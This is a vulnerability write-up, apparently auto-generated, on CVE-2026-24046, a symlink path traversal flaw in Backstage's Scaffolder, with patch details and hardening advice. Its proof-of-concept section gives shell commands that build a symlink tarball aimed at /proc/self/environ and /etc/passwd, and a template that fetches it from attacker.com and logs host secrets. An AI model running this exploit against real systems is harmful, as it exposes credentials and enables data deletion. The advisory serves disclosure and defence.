CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24046
7.10.02%

CVE-2026-24046: The Backstage Pass You Didn't Want

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·7 min read·17 visits

PoC Available

Executive Summary (TL;DR)

Backstage Scaffolder actions blindly followed symlinks. Attackers can define templates that create symlinks to sensitive host files (like /etc/passwd) and then use built-in actions to read or delete them. Patch immediately to versions that enforce safe path resolution.

A critical path traversal vulnerability in Backstage's Scaffolder component allows attackers to weaponize symbolic links. By crafting malicious templates or archives, bad actors can read arbitrary files from the host system or delete critical data, effectively breaking out of the application's sandbox. It turns the developer portal into a filesystem browsing tool for attackers.

The Hook: Developer Portals or Hacker Portals?

Backstage has become the darling of platform engineering. It’s the "Spotify model" in a box—a centralized portal where developers can spin up services, view documentation, and generally feel productive. At the heart of this machinery is the Scaffolder, a powerful engine that takes templates (think cookiecutter on steroids) and generates codebases. It’s automation at its finest. But as any security researcher knows, automation without strict boundaries is just a fancy remote administration tool for attackers.

CVE-2026-24046 is a classic tale of "trusting the filesystem too much." The vulnerability resides in how Backstage handles file operations within the Scaffolder's workspace. Specifically, it involves the dark art of symbolic links. The Scaffolder creates a temporary directory (the workspace) to do its business—downloading code, running scripts, and zipping artifacts. The assumption was that everything stays inside that sandbox.

Spoiler alert: It didn't. By cleverly using symlinks, an attacker can trick the Backstage backend—which often runs with significant privileges in CI/CD pipelines—into reaching outside the sandbox. It’s the digital equivalent of locking your front door but leaving a wormhole in your living room that leads directly to the bank vault. If you can define a template, you can own the filesystem.

The Flaw: Symlinks, The Portals of Doom

To understand this flaw, you have to look at how Node.js and standard file systems interact. When you perform an operation like fs.readFile('/tmp/workspace/config'), and config happens to be a symlink pointing to /etc/passwd, the operating system happily follows the link and reads the password file. Unless the application explicitly checks "Hey, where does this link actually go?", it's game over.

Backstage's Scaffolder provides several built-in actions. Two of them were particularly naive:

  1. debug:log: Designed to help developers debug templates by printing workspace contents.
  2. fs:delete: Designed to clean up files.

Neither of these actions verified that the files they were touching were actually inside the workspace. They just took a path, joined it with the workspace root, and executed. If an attacker could introduce a symlink into that workspace, they could redirect those actions to arbitrary locations on the host server. The root cause wasn't just missing input validation; it was a fundamental failure to treat the filesystem as a hostile environment.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability existed in multiple places, but the logic in debug:log is the most egregious example of blind trust.

The Vulnerable Code (Conceptual) In the old version, the code essentially did this:

// Inside the debug:log action
const filePath = path.join(ctx.workspacePath, userProvidedPath);
const content = fs.readFileSync(filePath, 'utf-8'); // <--- CRITICAL FAILURE
console.log(content);

It looks innocent. It joins the workspace path with the file path. But fs.readFileSync follows symlinks by default. If userProvidedPath is a symlink pointing to ../../../../etc/shadow, Node.js resolves it, and Backstage logs your shadow file to the console.

The Fix (Commit c641c14) The patch introduces a sanity check. The maintainers added resolveSafeChildPath, a utility that resolves the path and checks if it's still inside the parent directory.

// The patched version
import { resolveSafeChildPath } from '@backstage/backend-common';
 
try {
    // This throws an error if the resolved path is outside workspacePath
    const safePath = resolveSafeChildPath(ctx.workspacePath, relativePath);
    const content = fs.readFileSync(safePath, 'utf-8');
    return content;
} catch (error) {
    // Symlink attempt blocked
    return `[Security Blocked]: ${relativePath} resolves outside workspace`;
}

They also patched the archive extraction logic (TarArchiveResponse.ts). Previously, it extracted symlinks blindly. Now, it checks the linkpath of every SymbolicLink entry in a tarball to ensure the target of the link doesn't point outside the extraction directory. If it does, it bails out.

The Exploit: Stealing Secrets in 3 Steps

Let's construct a Proof of Concept (PoC). We assume we have permission to register a new Template in Backstage (a common privilege for developers).

Step 1: The Malicious Archive First, we create a tarball containing a symlink. We can't just create the symlink in the repo directly because git handles symlinks weirdly across OSs. Instead, we craft a tarball payload.tar.gz:

# Create a symlink pointing to the server's environment variables or password file
ln -s /proc/self/environ target_link
ln -s /etc/passwd passwd_link
 
# Tar it up
tar -czvf payload.tar.gz target_link passwd_link

Step 2: The Poisoned Template We create a template.yaml that downloads and extracts this tarball, then instructs the debug:log action to print the contents.

apiVersion: scaffolder.backstage.io/v1beta3
kind: Template
metadata:
  name: hacker-view
spec:
  steps:
    - id: fetch-evil
      name: Fetch Malicious Tarball
      action: fetch:plain
      input:
        url: https://attacker.com/payload.tar.gz
 
    - id: read-secrets
      name: Exfiltrate Data
      action: debug:log
      input:
        listWorkspace: 'with-contents' # The money shot

Step 3: Execution When the user runs this template:

  1. Backstage downloads payload.tar.gz to the workspace.
  2. It extracts the symlinks target_link (pointing to /proc/self/environ) and passwd_link.
  3. The debug:log action iterates through the workspace.
  4. It hits target_link, follows it to /proc/self/environ, reads the process environment variables (which likely contain AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and database credentials), and logs them.
  5. The attacker views the logs in the Backstage UI and walks away with the keys to the kingdom.

The Impact: Why Should You Panic?

This isn't just about reading /etc/passwd. The impact depends on how you host Backstage.

1. Secret Exfiltration (High Probability) Backstage backends are often loaded with secrets: GitHub App private keys, AWS credentials, database connection strings. Since the debug:log action writes to the task logs (visible to the user running the template), this is a direct pipe from the server's environment to the attacker's screen.

2. Denial of Service (Medium Probability) The fs:delete action is also vulnerable. An attacker could symlink crucial system directories and trigger a delete. Imagine a template that symlinks /app/node_modules and then runs fs:delete. The backend creates the link, deletes the target, and suddenly your Backstage instance crashes and won't restart.

3. RCE (Lower Probability, but possible) If the attacker can write files via symlinks (using fetch:plain with a malicious zip), they might be able to overwrite configuration files or inject code into the running application, specifically if the application is running in a writable filesystem (common in non-containerized or poorly configured container setups).

The Fix: How to Stop the Bleeding

If you are running Backstage, you are likely affected. This vulnerability hits the core @backstage/plugin-scaffolder-backend.

Immediate Action Update your packages. You need to be on at least:

  • @backstage/plugin-scaffolder-backend: v2.2.2, v3.0.2, or v3.1.1
  • @backstage/backend-defaults: v0.12.2+

Defense in Depth

  1. Container Hardening: Don't run Backstage as root. Use a read-only root filesystem (readOnlyRootFilesystem: true in Kubernetes) and mount a separate emptyDir volume for the Scaffolder workspace. This limits the damage to that specific volume.
  2. Permissions: Review who can create templates. Use the Backstage Permissions Framework to lock down the Scaffolder. If untrusted developers can register templates, you are effectively giving them shell access.
  3. Disable Debugging: In production, consider disabling or restricting the debug:log action if it's not strictly needed. It's a developer tool that became a weapon.

Official Patches

BackstageOfficial GitHub Security Advisory
BackstageCommit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L
EPSS Probability
0.02%
Top 96% most exploited

Affected Systems

Backstage Developer PortalScaffolder Backend PluginBackstage Backend Defaults

Affected Versions Detail

Product
Affected Versions
Fixed Version
@backstage/backend-defaults
Backstage
< 0.12.20.12.2
@backstage/plugin-scaffolder-backend
Backstage
< 2.2.22.2.2
@backstage/plugin-scaffolder-backend
Backstage
3.0.x < 3.0.23.0.2
AttributeDetail
CWE IDCWE-22 / CWE-59
Attack VectorNetwork (via Template)
CVSS7.1 (High)
ImpactArbitrary File Read/Write/Delete
Exploit StatusPoC Available
Componentsdebug:log, fs:delete, TarArchiveResponse

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
T1553Subvert Trust Controls
Defense Evasion
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via Symlinks

Known Exploits & Detection

Research AnalysisConstructed PoC using Tar archive with symlinks and debug:log action.

Vulnerability Timeline

Patch committed to main repository
2026-01-20
GHSA-rq6q-wr2q-7pgp published
2026-01-21
CVE-2026-24046 assigned
2026-01-21

References & Sources

  • [1]GHSA-rq6q-wr2q-7pgp
  • [2]Backstage Permissions Framework

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.